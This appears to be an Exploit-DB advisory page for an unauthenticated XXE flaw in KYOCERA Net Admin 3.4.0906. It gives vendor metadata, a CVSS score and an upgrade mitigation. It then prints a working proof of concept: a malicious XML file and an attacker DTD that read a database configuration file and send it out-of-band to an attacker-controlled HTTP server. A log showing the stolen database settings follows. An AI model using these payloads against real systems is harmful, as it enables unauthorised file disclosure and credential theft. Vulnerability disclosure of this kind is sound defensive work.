KYOCERA Net Admin XML External Entity (XXE) Injection Vulnerability

vendor:

KYOCERA Net Admin

by:

Gjoko 'LiquidWorm' Krstic

9.8

CVSS

CRITICAL

XML External Entity (XXE) Injection

611

CWE

Product Name: KYOCERA Net Admin

Affected Version From: 3.4.0906

Affected Version To: 3.4.0906

Patch Exists: YES

Related CWE:

CPE: KYOCERA Net Admin 3.4.0906

Metasploit:

Other Scripts:

Platforms Tested: Microsoft Windows 7 Professional SP1 (EN), Apache Tomcat/8.5.15

2018

KYOCERA Net Admin XML External Entity (XXE) Injection Vulnerability

KYOCERA Multi-Set Template Editor (part of Net Admin) suffers from an unauthenticated XML External Entity (XXE) injection vulnerability using the DTD parameter entities technique resulting in disclosure and retrieval of arbitrary data from the affected node via out-of-band (OOB) channel attack. The vulnerability is triggered when input passed to the Multi-Set Template Editor (kmmted.exe) called by the ActiveX DLL MultisetTemplateEditorActiveXComponent.dll is not sanitized while parsing a 5.x Multi-Set template XML file.

Mitigation:

Upgrade to a fixed version (3.4.0907 or later) or apply the vendor's patch.

Source

Exploit-DB raw data:

#Vendor: KYOCERA Corporation
#Product https://global.kyocera.com
#Affected version: 3.4.0906
#
#Summary: KYOCERA Net Admin is Kyocera's unified
#device management software that uses a web-based
#platform to give network administrators easy and
#uncomplicated control to handle a fleet for up to
#10,000 devices. Tasks that used to require multiple
#programs or walking to each printer can now be
#accomplished in a single, fast and modern environment.
#
#Desc: KYOCERA Multi-Set Template Editor (part of Net
#Admin) suffers from an unauthenticated XML External Entity
#(XXE) injection vulnerability using the DTD parameter
#entities technique resulting in disclosure and retrieval
#of arbitrary data from the affected node via out-of-band
#(OOB) channel attack. The vulnerability is triggered when
#input passed to the Multi-Set Template Editor (kmmted.exe)
#called by the ActiveX DLL MultisetTemplateEditorActiveXComponent.dll
#is not sanitized while parsing a 5.x Multi-Set template XML
#file.
#
#Tested on: Microsoft Windows 7 Professional SP1 (EN)
# Apache Tomcat/8.5.15
#
#
#Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience
#                            
#
#
#Advisory ID: ZSL-2018-5459
#Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2018-5459.php
#
#
#28.03.2018
#
#—
#
#
#Malicious.xml:

<?xml version="1.0" encoding="UTF-8" ?>
<!DOCTYPE ZSL [
<!ENTITY % remote SYSTEM "http://192.168.1.71:7777/xxe.xml">
%remote;
%root;
%oob;]>


Attacker's xxe.xml:

<!ENTITY % fetch SYSTEM "file:///C:\Program Files\Kyocera\NetAdmin\Admin\conf\db.properties">
<!ENTITY % root "<!ENTITY &#37; oob SYSTEM 'http://192.168.1.71:7777/?%fetch;'> ">


Data retrieval:

lqwrm@metalgear:~$ python -m SimpleHTTPServer 7777
Serving HTTP on 0.0.0.0 port 7777 ...
192.168.1.71 - - [01/Apr/2018 14:36:15] "GET /xxe.xml HTTP/1.1" 200 -
192.168.1.71 - - [01/Apr/2018 14:36:15] "GET /?db_host=localhost%0D%0Adb_port=5432%0D%0Adb_name=KNETADMINDB%0D%0Adb_driver=pgsql%0D%0Adb_user=postgres%0D%0Adb_password=ENC(4YMilUUDS80QB5rD+Rhn1z89rNXQXxcw)%0D%0Adb_driverClassName=org.postgresql.Driver%0D%0Adb_url=jdbc:postgresql://localhost/KNETADMINDB%0D%0Adb_initialSize=1%0D%0Adb_maxActive=20%0D%0Adb_dialect=org.hibernate.dialect.PostgreSQLDialect HTTP/1.1" 200 -